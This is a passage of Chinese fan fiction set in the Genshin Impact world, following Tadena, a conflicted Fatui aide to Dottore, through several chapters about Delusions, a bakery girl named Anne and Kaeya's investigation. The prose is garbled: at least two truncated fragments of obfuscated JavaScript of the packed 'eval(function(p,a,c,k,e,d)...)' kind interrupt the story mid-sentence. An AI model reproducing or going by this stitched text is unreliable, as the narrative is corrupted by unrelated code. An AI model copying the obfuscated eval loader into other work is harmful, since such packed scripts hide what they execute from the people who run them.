我继续道:“关于神之眼的传闻,相信每一个提瓦特人都了如指掌:当一个人的愿望足够强烈之时,神明的目光便会降临。虽然是一个颇具传奇小说设定色彩的传闻,但说不定真的有一些道理。总之,普通人耗尽自己的一生,或许也没办法得到神明的一瞥,因此,能够代替神之眼的发明诞生了。” 凯亚沉声:“所以,那就是……” 迪卢克抱臂:“邪眼。” 派蒙疑惑:“可是,要真是这样的话,那邪眼不应该算是‘好东西’吗?能够让普通人也使用元素力的装置。” 闻言,迪卢克哼笑了一声:“哪有那么简单。万事万物都有其相应的代价,更何况是获取自己命中本不注定之物。” “就是如此。”我接上迪卢克的话,“邪眼虽然解决了‘普通人无法使用邪眼’的问题,但同时也带来了更多的隐患,就比如,使用邪眼会对人的身体造成巨大的损害,同样,隐埋在邪眼开发过程后的,那些损耗的价值,甚至包括人的生命。” 派蒙:“怎么会这样?!” 迪卢克摆手:“愚人众的【博士】以惨无人道的实验闻名,愚人众在蒙德几次强制征募青少年,而那些人在离开蒙德后却再也没有回来过,从我得到的情报,他们之中的大部分人,不,或者说是所有人,都成为了实验的‘消耗品’。” “所以,你们说的那个‘安东尼’,还有刚才在歌德大酒店闹事的那个店长大叔,其实是……” 派蒙被真相吓了一大跳:“怎么可以这样!竟然用‘活人’来做实验,那个【博士】,也太坏了吧!” 旅行者也露出不忍卒视的表情。 我沉默着,当作自己什么都没听见,也暗中祈祷多托雷今天不会用随身的监视装置偷看我这边的情况。 “如果愚人众的计划是在蒙德引诱更多人使用邪眼的话,现在恐怕已经有更多的人遇害了。”凯亚思索着,“不行,我必须赶快将这件事告诉琴团长。对了,” 年轻的男人抬头看向旅行者和派蒙,似是邀请,又带着点请求的意味,让人难以拒绝。 “荣誉骑士和派蒙也要一起来吗?如果有大名鼎鼎的荣誉骑士和派蒙帮忙的话,这件事肯定能很快解决。” 派蒙忙不迭点头:“当然要去!扫除邪恶,匡扶正义可是一位优秀冒险家必备的品德。你说对吧,旅行者?” 旅行者扶额:“派蒙你答应的也太快了。” “嘿嘿,有什么关系嘛,反正旅行者肯定会答应的对吧?” 极为精通人性的凯亚在旁边及时送上定心符。 “放心,这件事情解决,骑士团是绝对不会亏待两位的酬劳的。” 轻而易举撬动一位实力高深的旅行者来帮忙,凯亚在那之后又将视线转移到我的身上。 “塔德纳呢?也来一起帮忙吧?我们西风骑士团也很需要像塔德纳这样厉害的分析型人才呢。” “不,还是算了。”我错开那即使被遮蔽了一只,也依然如星空般闪烁在酒馆灯光的眼睛。 “虽然我现在也算得上是至冬人,对愚人众也有些了解,但我能给各位提供的信息恐怕要远达不到凯亚先生对我的期望了,实在抱歉。” “所以,这次就算是本领通天的塔德纳,也不打算出手帮帮忙了吗?” 狡黠的青年如此问我。 “我不清楚凯亚先生是如何得出‘我就一定会帮忙’这个结论的。还是说,您当真以为,如今在至冬生活的我,以我的处境,虽然有途径接触到一些隐人耳目的情报,即使是与愚人众的执行官作对,也能够独善其身吗?” 耳垂上的重量在此刻变得有些明显。 我深吸了一口气,闭了闭眼,感到一点焦躁。 不……早在被凯亚拉来这里的时候我或许就应该找理由离开才对,甚至于,当时就不应该被凯亚的一番激将法刺激现身。 庞大的后悔情绪逐渐蔓延上心间。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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负责接待的是一名看上去不过十一二岁的小女孩,眉眼间与在歌德酒店惊鸿一瞥的那个男子倒很是相像,大概是这家的女孩。 在我前面只有一个腿脚不便的老太太,女孩用烘焙纸包裹好面包后从柜台后面垫高的台子上跳下来,打开门放在老太太的挎篮里。 “请拿好,安德尔奶奶,欢迎下次光临。” 老太太提着挎篮蹒跚离开,这下便只剩下我这一位“顾客”,中间的阻碍没有了,我和女孩的距离进一步拉近。这个距离,甚至能够看清楚女孩头上精心编制的辫子和可爱的发卡。 女孩抬头,天真地看着我:“大哥哥,你想要什么面包啊?” 我笑了笑,蹲下身子让自己处在能够和小女孩平视的高度。 “怎么是你一个小孩子负责卖货?你家大人呢?” “爸爸中午出门了,说办完事情就回来。”女孩流利地回答。 “那其他人呢?” “妈妈很久没回来了,爸爸说妈妈去了很远的地方,要很久很久之后才会再和我们团聚。哥哥也去了至冬,说是要当兵,但也很久没回来了。” 女孩浅蓝色的眼瞳清澈地倒映着我的身影。 “所以,大哥哥你是要买面包吗?” 那眼瞳实在是过于清澈,以至于我从中看到自己僵硬而虚假的笑容。 我一下子笑不出来了,胸口像是被一百公斤的石头压住一样喘不过气来。 我所行的是一条助纣为虐的道路。 心中的声音如此清晰。 唯有脱离闭目塞听的麻木,当被害者的伤害被完完全全真实地暴露在自己眼前,连欺骗自己的余地都不留的时候,我才不得不一遍又一遍地说服自己去接受这点。 我胡乱点了几样款式的面包,从女孩的手中接过的时候,几乎是落荒而逃一般逃走。 耳坠突然嘀嘀响了两声,我的面前落下一道阴影。 Theta的身影是那样自然地出现在我的面前,他俯身在我耳坠上抚摸了一下,那令人心惊的声音总算停止。 然后,他无比自然地从我手中接过装面包的袋子,提在自己手里。 “过得开心吗,今天?”Theta语气温柔。 101.第 101 章 我抬头,胸间奔涌的冲动最终汇聚成一句干瘪的反问。 “您觉得开心吗?” 过了会儿,我才惊觉自己这样的语气显得过于粗鲁,也过于失礼,才顿了顿,补充道。 “我的意思是,您今天过得怎么样?开心吗?” Theta轻声笑了一声。他大抵也察觉出我现在情绪的不对劲,但仍然愿意在这些小的不敬上放过我。 “当然。”他如此回答道,“能够和塔德纳像这样走在一起,和塔德纳在一起的每一个时刻,我都觉得很开心。” 我:“……” 我一时间不知道如何回答。 真心吗?倒也不见得,说是Theta故意哄我也不是没这个可能。无论是多托雷还是Theta,在他们心中都有其他的东西更为重要,至少是比“我”更为重要。 我深知这点,也因此对Theta的回答赋予不起多少信任。 只当那是一句戏言,一句随口的笑话,如同在遇到旅行者时随口而出的“爱人”一词,不过是觉得有趣儿,逗上一逗。 如同回家逗弄一下家中的宠物一般。 “塔德纳突然问我这个问题,是有什么其他的事情要问我吗?” “是。我想知道,您面对那些实验体的时候,不会感到不开心吗?” “当然也会有。因为实验进展的不顺利,或者是质问怀疑的时候。但我想,你想问的应该不是这些,对吧?”Theta柔和地牵起我的手。 我跟随Theta的脚步迈动步伐,听到Theta的反问,心中有些发虚。 太冲动了。我或许不应该问出这个问题,无论是多托雷还是Theta,都只会觉得是我那可笑而多余的怜悯心又犯了而已。 甚至连被包容的价值都没有。 但既然已经问出来了,我也只能硬着头皮回答。 “是……” Theta露出不出所料的笑容:“你拥有着与常人不同的灵魂,同时具有着懦弱和善良的特性,这让你更容易共情其他人,即使这样的特质事实上只会给你带来痛苦。” 我:“……” “若你是想询问我‘是否会在面对他人的苦难的时候产生诸如愧疚和同情这样的情绪’,那么我会告诉你,也仅限我会回答你的问题,答案是——不会。” “毫无疑问,‘我’是正常的人类,也在过往的人生中接受过完善的,标准的社会教育,懂得泛化的社会道德和准则。但是,塔德纳,人与动物最大的不同就在于,人是善于自我调整的生物。一旦人类发现自己所坚守的道路出现错漏,他们便会调整自己的方向。这对‘我’也同样如此。” “我不认为有这样做的必要——这就是我的选择。” 我有些迷茫。 不认为,有去对他人的遭遇含有同情和愧疚这类情绪的必要吗? 可是,人的“共情心”,不应该是与生俱来,无法摆脱的吗? 我不敢再继续问了。 在发问的一瞬间,我的内心就已经将答案告诉了我。 我是一个可悲又可笑的,永远都没办法摆脱自己矛盾而落后的思维方式的“傻子”,即使被旁观的人从一隅的自我封闭之地强硬地拽出来被迫面对事实,也提不起改变自己的勇气。 只要维持现状就好了。 这就是我懦弱的想法。因为没有人会因此苛责我,就算是多托雷,也只会在事情比较严重的时候不轻不重地训责我一顿。 只要我不会真正地背叛他。 ——这就是多托雷对我的底线。在如此漫长的相处中,我也早已摸清这点。 直到我和Theta走出蒙德的城门,沿着主路走了一段距离,快要到Theta过来时刻意吩咐停在城外一段距离的车队的时候,Theta才出声,似是警告,又似是提醒。 “不要在‘本体’面前问这种问题,记住了吗?” 没有给我拒绝的选项。 我只能点头:“是,主人,我明白了。” 车队颠簸了一路,等到实验室的时候,已经是濒临傍晚了。夕阳西下,晚霞把天边烧成了一片红。 下车的时候我忍不住驻足多观望了一阵。 Theta从车里走下来,站在我的身边,也停下脚步随着我的视线看过去。 “确实是不错的景色。” 我应道:“蒙德的天空要比至冬更加温暖,也更加遥远。我观测过蒙德的星空,虽然比不上至冬的天空缤纷,却也很吸引视线。” Theta感叹道:“你真的很喜欢提瓦特的天空,无论是星空,或是现在这样的时刻。” “这样吗……我以前从来没注意到这一点。不知道是从什么时候起,开始将目光投向遥远的,虚妄的天空。或许,在我的过去,曾经有过与天空相关的羁绊吧。” Theta沉默了一会儿。 在那突兀的沉默之后,他才发出来一声笑。 “是吗?我还以为你记起来了,你的母亲是梨多梵谛学院的学者这件事。” 心脏像是骤然悬空。 我感到自己的一半大脑都被电流电了一下一样,麻痹到一半的身体也丧失知觉。 Theta就像是只提及了一件完全没有必要的事情一样。他无比自然地转移话题。 “走吧,‘本体’大概已经等得心焦了。” 我抿了抿唇,强迫自己迈步跟上。 Theta走得并不算快,即使是一直走在我的前面,也会保持相对均匀的速度,以便让我能够调整自己的速度跟在合适的位置。 从这一点来看,Theta的确是足够温柔尽心了。 说起这点,多托雷其他的切片就完全不会管我跟不跟得上这样的问题。多托雷从前也是如此,只不过不知道从何时起,又改变了这一习惯,变得和Theta差不多了。 路上的人并不算多,大部分见到前面的Theta也都会识趣地低下头行礼,让开路来。 Theta在所有的切片中也算得上是名声比较好的那一类,对于下面人的礼数,心情好的时候偶尔也会做出回应。这让我的压力缩减了许多,不用替代着注意周围的情况。 等到人越来越少,快到了中心实验室的时候,Theta突然想起来似的询问我。 “对了,我之前问你的事,你有答案了吗?” 我踉跄了一步,差点撞到前面半步的Theta。 “还,还需要一点时间考虑……主人。” “没事,好好考虑。”Theta如同只是随口提问一句,并没有现在从我这里得到确切答案的打算一样,轻而易举地放过了我。 “我说过,无论你的选择是什么,我都会尊重的,你不用太过紧张。” “多谢主人……” 我的心情有些复杂,脑海中的思绪一下子又飞回到在蒙德第一次见到Theta的时候,被抵在酒店走廊的墙面上,Theta对我的邀请。 “邀请”。 那大概称得上是邀请吧。只是被多托雷的切片询问要不要过去“他”的那边,这样的事情,实在是…… 超出我可以思考清楚的范围太多了。 我不清楚要做出怎样的回答,平心而论,Theta对我很好,他是多托雷所有切片里对我最好的,偶尔连多托雷也不会宽纵我的事情,Theta也能够给予我一定的额度。 但是…… 切片和多托雷是不一样的,我是多托雷的“私有物”,这一点,早在记忆都无法触及的最开始就被确定下来了。 我直觉答应Theta的邀请只会给自己招惹来多托雷的怒火,但是,Theta那如常提及“我的过去”的姿态,又不禁让我有些动心。 或许,Theta会允许我想起那些记忆。 但是风险太大了,我应该服从的是多托雷。现在的多托雷对切片的态度正在发生转变,他很难会同意我彻底去到Theta的身边。 或者说,完全就是痴心妄想。 我有些恍惚地跟随Theta走进实验室,在Theta和多托雷谈论蒙德的计划的时候,我便安安静静地站立在一旁,当作自己不存在一样。 只不过,两个人的对话依然会进入到我的耳朵里。 他们在说的是关于“继续推进邪眼在蒙德境内的使用,扩大影响范围”的后续计划。Theta跟多托雷说了在蒙德发生的邪眼暴乱的那件事,多托雷没有打算理会这件事情,因为他并不认为对邪眼知之甚少的西风骑士团来得及阻止这件事。 “一切发展都很顺利,再过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“因为会有味道。”我提着面包袋子的手指蜷缩了一下,又补上一句,“我不喜欢把有气味的物品装进去。” 多托雷似乎心情很好。 他打趣似的感叹道:“你在某些事情上还真是……顽固的有些可爱,塔德纳。” 我保持沉默,对多托雷将“顽固”和“可爱”两个词联系在一起的行为不置可否。 随便吧,反正多托雷才是上司,他就算跟我说1+1=3我也只能认为“主人这么做一定有他自己的理由”。 多托雷最近似乎确实没有时间随时监控我的行动,也或许是在我刻意远离那些可能导致麻烦的事情后,多托雷也很难从一天那么长的时间里精准地找到我那些可能违规的细节。 当然,多托雷也或许知道一些,只是他懒得纠结。 只要我的行为未触及他的底线,大多数情况下,多托雷还是大方的。 于是第二天的时候,Theta和多托雷达成合作一起收集整理实验数据,无所事事的我又被从实验室放出去。 我在蒙德城绕了一圈,再快走到那家面包店的时候纠结了一下,莫名的悸动推动着我走向那个方向。 与昨天稍显不同的是,今天并没有排队的人来购买面包,甚至原本应该在营业时间被推开用作陈览的面包柜也是上锁且空荡荡的状态,被一块木制的篷子罩住。 店门紧闭着,上面挂着的木牌写着“暂停营业”四个字。 我站在门口,犹豫了很久要不要敲门试试。 在我做出抉择之前,背后的声音打断了我的思绪。 “啊,是塔德纳!竟然能在这里遇见你!” 派蒙飞过来,脸上的表情有些惊喜。 我转身,视线从派蒙的身上落到后面几步的旅行者身上。 “中午好,旅行者大人,以及派蒙大人。”我掩饰好自己脸上的情绪,用正常的语气打着招呼。 “塔德纳也是来找安妮的吗?” 安妮? 应该是指面包店店长的女儿,也就是昨天遇到的那个女孩子吧。 我点了点头。 “所以,塔德纳其实也是放心不下这件事所以来调查的吗?哼哼,果然,塔德纳虽然昨天那样严词地拒绝了帮忙,但其实只是刀子嘴豆腐心而已。凯亚说的果然没错。” 派蒙带着点得意和高兴的感叹像潮水一样顷刻间淹没我的口鼻,让我感到窒息。 我深吸了一口气,声音有些发闷。 “你说的……是什么意思?” 102.第 102 章 凯亚那家伙,到底又跟旅行者说了些什么…… “怎么回事……塔德纳你的脸色好惨白啊,是身体不舒服吗?” 不可以……至少现在,不能够在旅行者和派蒙面前显露出奇怪的点以至于被怀疑。 我轻微地咽了下口水,迅速调整好脸上的神情。 对派蒙露出笑容:“可能只是今天的太阳有点太大了吧。对了,能在这里遇到两位还真是有缘。两位大人也是来拜访这家面包店的女儿的吗?” 派蒙并没有多少怀疑,很容易就被我的问题引开了注意力。 “对哦对哦。”她点头,“我和旅行者是来找安妮,也就是面包店店长大叔的女儿的。那位店长大叔现在还没醒过来,所以我们决定先从安妮这边找找看有没有什么线索。” 正在我们说话的时候,面包店的门被轻轻打开,昨天才见过一次的女孩有些害怕地从门口探出一个脑袋。 “你们,是来找我的吗?” 派蒙飞得低了些,靠近小女孩:“你就是安妮对吧?我们是代表西风骑士团调查你父亲事情的人。我叫派蒙,那边的是旅行者。”派蒙伸手指了指靠后的旅行者,然后又指我,“还有这个,他叫塔德纳。你不用害怕,我们都不是坏人,我们都是来帮助你的。” 安妮怯生生的视线从我们的身上扫过。 “我知道,我认识你们,解决了风魔龙危机的旅行者姐姐,还有派蒙姐姐。” 派蒙有些不好意思地挠头:“嘿嘿,还是第一次有人叫我‘姐姐’呢。” 旅行者投以略微无语的表情。 “还有你,”安妮又接着看向我,“我也记得你,你是昨天来买过面包的哥哥。” “诶?!原来塔德纳昨天就已经来过了吗?塔德纳既然也想要调查这件事,为什么不和我们一起?” 我:“……不,我其实并没有打算调查这件事的……” 回应我的是派蒙摆出的一脸“看我信不信你的话”的表情。 旅行者虽然没有多说,但看我的眼神和派蒙也不遑多让。 我已经无暇思考凯亚在背后到底又多说了多少空穴来潮的话了,但我现在确实也只能暂时顺应派蒙的说法,当作自己是悄悄来调查邪眼事件的“好心人”。 安妮将我们三人请进了店里。 这间面包店的店面并不算大,顶多只能算是小型的家庭作坊而已,从厨房门口瞟眼进去能看见和了一半的面粉盆,虽然有些乱,但各处器材都擦得很干净,看得出来店主是很爱干净的那类人。 边向里面走的时候,派蒙也一边打量着一边询问安妮。 “安妮现在是一个人在家里吗?” “嗯。西风骑士团的骑士叔叔告诉我爸爸可能还要一段时间才会回来,所以安妮现在只能一个人照顾自己。” “哇,安妮真厉害,竟然一个人在家也能够照顾好自己。” “还好啦,我都是饿了就吃店里剩下的面包。虽然晚上一个人在家里睡觉会有些害怕,但我有玩偶陪我。和玩偶一起数数,数到一百就能够睡着了。” 安妮带着点羞涩的话如此轻描淡写地落下的一瞬间,店内陷入了死一般的沉默。 安妮有些奇怪地扭头:“嗯?大家为什么不说话了?” 派蒙干笑了两声:“原来是这样吗……可是,如果只吃面包的话,对身体不太好吧。” “但是,爸爸以前出门来不及给我做饭的时候都会让我先用面包垫垫肚子的。”安妮似乎完全不明白派蒙的话,“面包虽然比不上爸爸做的饭好吃,但临时代替一下也是没问题的。安妮只需要等到爸爸回家就不用天天吃面包了。” 派蒙:“这……” 派蒙下意识地看了一眼旅行者,旅行者露出几分不忍的神情,轻轻地摇了摇头。 我看着两人之间的互动,大概明白安妮父亲的事情可能没那么简单能够解决。 甚至于,安妮的父亲可能根本就再也没办法回来了也说不定。 毕竟,那一场失控的冲突可是造成了两名愚人众的死亡,愚人众不可能会放过这个“千载难逢”的机会,无论是借此机会向西风骑士团施压获得高额的赔偿,或是靠这件事逼迫骑士团在外交事宜上让步,安妮的父亲都会成为这过程中交锋的砝码。 派蒙有些汗流浃背地略过刚才那个问题,又询问了安妮关于她父亲的一些事,比如有没有发现自己父亲身上最近出现的不寻常的事。 安妮先是摇头说没有,但过了一阵,又突然说想起来在半个星期之前,发现她的父亲会在半夜偷偷起床,在后院待很久才回来。 我们在安妮的带领下来到了这栋房子的后院,一片并不大的空地,最中间栽着一棵年份颇久的树。在树根附近,发现了明显的可疑的烧焦的痕迹。 旅行者蹲下,在那块残存的黑色印记上扒拉一下,露出下面碳化成一半的枯草。 旅行者:“是火焰烧过的痕迹,这样的规模,恐怕是……” “邪眼。”我接上道,“而且烧得这么深,应该是不止一次。安妮父亲得到那枚邪眼之后,为了训练自己使用邪眼的能力,每天半夜在后院联系。这样看来,歌德大酒店的冲突,恐怕也是安妮父亲深思熟虑后下定的决心。为了,给他的儿子安东尼讨回一个公道。” “没错。”旅行者赞同道,“情况应该就是这样了,现在,唯一的疑点还剩下一个,那就是,邪眼的来源。安妮父亲到底是从哪里得到邪眼的?” 派蒙:“呃,想不到,完全没有线索啊。要从哪里才能知道邪眼的来源呢?就算是问安妮好像也问不出来更多了。” “这种事情,当然是问当事人来的最快。”我看向旅行者,意有所指,“安妮的父亲现在应该还在西风骑士团手里吧?为什么不去直接问安妮父亲邪眼的来源?” 旅行者犹豫了一下,但又似乎是想起了什么,那点犹豫又被很快放弃。 她回答我的问题道:“安妮父亲一直处于昏迷的状态,就连西风教堂的牧师也找不到安妮父亲昏迷不醒的原因。” …… 我跟随旅行者和派蒙前往了西风教堂,并在病房里见到了如今正昏迷不醒的安妮父亲。略显瘦削的男人紧闭着双眼,没有半分要醒过来的痕迹。 在我们进入的时候,守护在旁边的修女站起来。 “罗莎莉亚!”派蒙挥手打了招呼。 看来又是旅行者认识的人。 我在落后几步的位置打量着那位修女。我本以为自己的动作已经足够隐蔽,却没想到刚看过去便被抓了个正着。 罗莎莉亚警惕地看着我,问旅行者道:“这是你们的朋友?” 旅行者点头:“凯亚说过,我们可以信任塔德纳。” 于是罗莎莉亚收回视线,连之前那针对我的警惕和杀气都消失的无影无踪。 “好吧。既然是凯亚的选择。” 我有些麻木了。 如今再听到凯亚的名字反而有一种“果然如此”的既视感。 凯亚这是想干什么?以为只要先一步告诉所有人“我是一个好人”,就会让我心软,在这次的邪眼暴乱事件上做出不理智的选择吗? “安妮父亲还是没醒吗?” “是。芭芭拉来看过一次,但也无计可施。如果是想要从一个昏睡不醒的病人口中套取线索的话,我会更建议你去找另一个人。” 这位罗莎莉亚虽然穿着是教堂的修女,但说话的速度和语气倒更像是厌倦了生活的刺客。 干脆,不拖泥带水。 尽管缺少修女应有的温柔和敬业。 派蒙好奇地问:“是谁?” 罗莎莉亚表情冷漠:“凯亚。他刚结束调查回来,如果现在不去找他的话,那位大忙人就又要被拉走了。” “呵呵,看来修女小姐对我的怨念不小啊。” “不敢。谁敢对西风骑士团的骑兵队长有怨念?难得有闲暇时间在酒馆偷懒结果喝了一半被拉来24小时不停歇地看护病人也只是我倒霉而已。” 凯亚无奈地摆手:“哈哈,辛苦修女小姐了,事情结束之后我会请上你之前没喝完的那杯酒的。” 罗莎莉亚伸出手指,比了一个数字“三”。 “至少要三杯才行。” “好吧好吧,看来我又要大出血了。” 与罗莎莉亚说完,凯亚才转头,视线从派蒙和旅行者身上扫过,最终落在我的身上,那 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我率先移开视线,不再与那只压迫感十足的眼睛对视。 “哈哈,旅行者还真是幽默。”凯亚笑着转移话题,“先来听听我得到的一些新情报吧,我保证,绝对是一条至关重要的信息。我们找到了暗中散布邪眼的人。” 旅行者:“!” 派蒙:“真的吗?!” 我也有些吃惊。 甚至于,在凯亚说出“找到散布邪眼的人”的这句话时,内心诡异地心虚了一下。 西风骑士团的人比我想象中的还要高效,竟然在信息如此有限的情况下能这么快抓住暗中散发邪眼的人。虽然据我猜测,被派来执行这个计划散步邪眼环节的人手肯定不止一人,但即使只是抓住其中一个,也就意味着调查取得了入手的窗口。 我下意识地伸手抚摸了一下耳垂上钓落的耳坠,那熟悉的,冰冷的试管,颇有重量。 “塔德纳?塔德纳!” 晃过神来的时候,眼前是派蒙不停挥动的手掌。 派蒙担心地看着我:“刚才叫了你好几声你都没应。是身体不舒服吗?” 我摇了摇头,露出一个笑容:“只是在想一些事而已。叫我有什么事吗?” 派蒙:“凯亚说让我们一起去骑士团同步情报。我们现在正要过去呢,你要一起吗?” 我有些犹豫,拒绝的话抵达喉咙。 如果过去的话,凯亚和旅行者的对话可能也会被我耳朵上的监听装置听到,要是不小心被泄露给多托雷…… 我或许不应该站在多托雷的对立面思考问题,但我也无法否认我其实不太想看见凯亚和旅行者的努力因此化为浮沫。 仅仅是因为我的在场。 在我准备拒绝的时候,凯亚开口了。 “塔德纳也一起来吧。”凯亚用鼓励的笑容看向我,“既然塔德纳也出现在这里,就说明其实你也是想要参加这次调查的,不是吗?如此,那就一起吧,相信旅行者和派蒙也会同意塔德纳参与进来的。” 凯亚朝旅行者和派蒙眨了眨眼。 派蒙点头:“对啊对啊,塔德纳对邪眼的了解程度比我们都深,如果有塔德纳加入的话,调查肯定会事半功倍。” 我看着眼前齐刷刷的两双半眼睛。 之所以是两双半自然是因为凯亚只能算是半双眼睛。 内心忍不住动摇。 “好吧。” 三人脸上都在得到回答后露出笑意。 我却忍不住在心中唾弃自己的不坚定。 我那多余的,不该存在的动摇大概会给眼前这些人带来不必要的麻烦,甚至是失败。 但我,却无法说出拒绝的回答。 我抚摸着耳坠,久到那细长的试管都要被手掌的体温同化。 如果,我不是愚人众就好了。这样的话,是不是就稍微拥有成为“好人”,和他们站在一起的资格了呢? 如此的想法控制不住地从心底浮起。 我吓了一跳,连指间的耳饰也错过滑开。 103.第 103 章 凯亚分享了骑士团所找到的某处邪眼散发暗点。总的而言,他们发现了在蒙德有一批人正在以“神之眼替代品”的噱头暗中发放邪眼,那些人一开始是在公告板上用暗语沟通,后来具有一定规模后便通过一条完整的上下级链条连接起来。 为了抓住暗中之人,凯亚甚至带人卧底了一天一夜。 不过好在过程还算顺利。 抓到的人交代了蒙德的制造邪眼的工厂,是临近清泉镇的分实验室,那里平时大部分时间都处于空置状态,被临时拿来当作邪眼生产点确实也很合理。 旅行者和凯亚决定好要尽快组织行动前往这个所谓的“邪眼产出点”一探究竟。 他们询问了我是否要同去。 说实话,我的内心隐隐对这件事有些不安,但面对旅行者,派蒙和凯亚投来的视线,我又很难说出任何拒绝的话语来。 真是要命。 这或许不是一个明智的选择,但我还是选择了同意一起前往。无论如何,到时候若是发生了什么不好的事情,我也有一些义务帮助一下。 出于朋友的身份。尽管这是我期望的。 在旅行者和派蒙离开做准备后,凯亚叫住了我。 “留下一点时间给我吧,塔德纳。”总是油嘴滑舌的庶务长露出笑容,“你也许会想要知道有一封指名要给你的信件。” “嗯?” 我挑了挑眉。 信件?不是从愚人众那边的渠道递给我,反而是通过西风骑士团的人给我吗? 目的是什么?避开愚人众的耳目? 那可真有意思。 我在心中思忖着,看着凯亚关上房门,从怀中变出一封火蜡封口的信件。 “喏,看吧,我可没骗你,别露出那样一副表情。” “……您为何不考虑一下那可能是您多想了呢?” 凯亚但笑不语。 我在接过信件的时候检查了那信封上面的细节。没有拆封的痕迹,更没有二次封蜡的迹象,至于材质,似乎只是普通的信纸,里面就薄薄的一张纸,但我在很细微的角落摩挲到一点熟悉的凸起图案。 我有些惊讶。 “这是……” “迪卢克给我的。”凯亚摊手,“那家伙懒得专门跑一趟来,说是什么不想看到骑士团的人。所以这份跑腿的苦差自然就只能落到我头上咯。不过事先说好,我可没偷看过,也没有告诉其他骑士团的人。” “……谢了。” 我干巴地挤出这一句道谢,倒也没有避讳凯亚的必要,拆开漆封取出里面的信纸。 凯亚看见我的动作轻笑了一声,又在我抽出信纸的时候发出一声惊疑不定的轻呼。 “信纸,是空白的?” “一点不入流的加密手段而已。” 我如此回答,将空荡的信封夹在一只胳膊下,然后从口袋里取出离开时准备以防万一的邪眼。 凯亚的眼神变得稍微冷凝。 “抱歉,恐怕要在您这里用一下不入流的东西。”我扬了扬手里的火系邪眼。 凯亚有些语气复杂:“我还以为你会专门找个没人的地方再拆开看。” “没有必要。在哪里对现在的我而言都一样,没什么差别。” “副官大人之前可对我还不是这个态度。” “谁知道呢?说不定是不知道什么时候,我就对凯亚先生改观了也说不定。” 凯亚露出不相信的表情。 这样明显,这样裸露,甚至到了有种失礼的地步,总之和凯亚平时规划地极好的神态语气很不一样。 “好吧,不开玩笑了,不然要是害得庶务长大人日思夜想,做梦都是在怀疑‘我放着好好的自家不回,专程在西风骑士团开这封信,甚至还是在您的眼前,是不是有什么阴谋’,以至于休息不好耽误工作,岂不是我的过错了。” 我握紧手里的邪眼,用很轻微的一点力量去驱动邪眼,一簇很小的火苗从我的掌心蹦出,灼烧着信纸。 随着温度升高,原本空白无物的信纸上开始浮现出一连串的黑色字迹。 “就当是,对您‘替我在旅行者和派蒙大人面前担保’的回馈吧。”我晃了晃手中的信纸,“来自北大陆那个神秘组织的回信。大概是走不通愚人众的暗线,所以转而拜托了迪卢克老爷帮忙传达。不是什么密谋颠覆蒙德的邪恶计划书,所以,你们也不用担心了。” 凯亚愣了一下,半晌才短促地笑出来一声。 “谁说我怀疑了……” 我甩了甩手中的信纸,只是微笑着和凯亚对视。 最先认输的很显然只能是凯亚。 凯亚放弃似地举了举手:“好吧好吧,看来还是瞒不过你。不过我要替自己澄清,是迪卢克先怀疑的,我只是替他来。” 说完,他试探性地看向我:“那个,你不会生气了吧?” 神情莫名有些紧绷。 这家伙,竟然是在紧张吗? 我感到有些不可思议的好笑。 “如果我是你的话,甚至不会产生‘帮助敌对的人’这样的想法。你们的怀疑合情合理。倒不如说,我其实不是很支持你们如此接近我这个执行官副官。” “可是,你不是也在一直帮助我们吗?” 凯亚认真地看着我。他脸上的神情此刻算得上是相当正式,如同面对一场官方的会谈一般。 “无论是柯莱的事情,还是你帮忙减少愚人众对蒙德的施压,这些事情,不都是你一直在帮助我们的证明吗?更别说你还救了迪卢克。” “总之,在我们的心里,你是一个好人,也是我们的朋友。” 我抿了抿唇,无端感到口干舌燥的心慌。 “善行与恶举从不对等。凯亚先生,我应该如此说过。不要忘了,我可是愚人众。我做过的坏事,远比您看到的我做过的好事要多得多。” “但我看到了你做的好事,对于一个人而言,那便已经够了。” 凯亚眼神灼灼地看着我。 “凯亚先生是想要撺掇一个恶人向善吗?”我控制着自己有些麻木的面部肌肉笑出来,语气透着几分讥讽,“恕我直言,这未免有些太异想天开了。” 凯亚摇了摇头:“塔德纳,你不是一个完全的恶人,这一点我看的清清楚楚。” 我:“……” 我垂下手臂,掌中心的邪眼棱角硌得我有些疼。不知道是不是错觉,我从那枚火系的邪眼上感受到滚烫的炽热。 像一块烧红的火炭一样,要叫人捏不住。 我无端被吓了一跳,手指下意识松开,那枚邪眼从手掌里掉落出来,砸在地面上,发出清脆的响声。 凯亚蹲下来,拾起地上的邪眼。 他端详着,却并没有返还的意思。他只是摩挲着那枚邪眼上的花纹,像是在感受上面的温度。 我为自己脑海中突兀出现的这个想法震惊。 那枚邪眼在凯亚的手中被抛了两抛,最终落入这位庶务长的口袋里。 “那就当是我的撺掇吧。既然你无法下定决心,那就当做所有都是我的原因吧。”凯亚微微低头,向我伸出手。 “塔德纳,我想撺掇你成为一个‘好人’,你接受吗?” 我:“……” 我凝望着那只手掌许久,才有些犹豫地伸出自己的手,颤抖地放在凯亚的手掌上方隔空一点的位置。还没等我反应过来,凯亚突然向上,完全抓住了我的手掌。 麦色的手掌一如他的主人一般灼热且有力,让人一时间生不出逃离的想法。 凯亚抓住我,掌心覆着我的手背,四指卡在我的虎口。他伸出另一只手放在我的手掌上方,但并没有接触,中间隔着一点距离,下一刻,在我们的手掌空隙间,微凉的凉意开始聚集,一枚形状精致的冰花漂浮在中间。 我看向凯亚,凯亚歪了歪头,露出个无辜的笑容。 “这样,就感觉好多了,对吧?”他如此问道。 从结果而言,确实好了不少,那被灼烧的余感也消散了很多,甚至在此刻显得有些过于凉了,以至于和凯亚一直覆在我手背上的,他掌心的温度冰火两重天。 “谢谢。” 我蜷缩了一下手指,稍微用力抽出自己的手,确认凯亚没有阻拦的意思后,飞快地将手撤回。 “接着。” 凯亚将什么东西扔给我。 我下意识接住, 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将木匣子放在石栏上,我又在储物袋里面翻了翻,找到之前凯亚给我的那条手帕,折叠好放进去,然后将冰花放到里面。做完这些,我思考了一下要如何长时间地保存这朵冰花的问题,最终决定用冰系邪眼做一个建议装置,持续且缓慢地向外释放元素力来维持冰花的形态。 